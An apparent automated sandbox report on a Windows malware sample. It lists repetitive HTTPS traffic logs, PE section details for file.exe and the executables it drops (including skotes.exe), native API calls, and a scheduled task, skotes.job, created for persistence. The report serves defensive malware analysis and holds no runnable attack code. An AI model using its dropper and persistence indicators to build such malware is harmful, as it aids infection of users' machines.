Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:50097 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C68B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C68B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C68B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C62F280
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0054CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	25_2_0054CB97

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6235A0	0_2_6C6235A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635440	0_2_6C635440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69545C	0_2_6C69545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69542B	0_2_6C69542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AC00	0_2_6C69AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665C10	0_2_6C665C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672C10	0_2_6C672C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D4E0	0_2_6C62D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666CF0	0_2_6C666CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6364C0	0_2_6C6364C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64D4D0	0_2_6C64D4D0
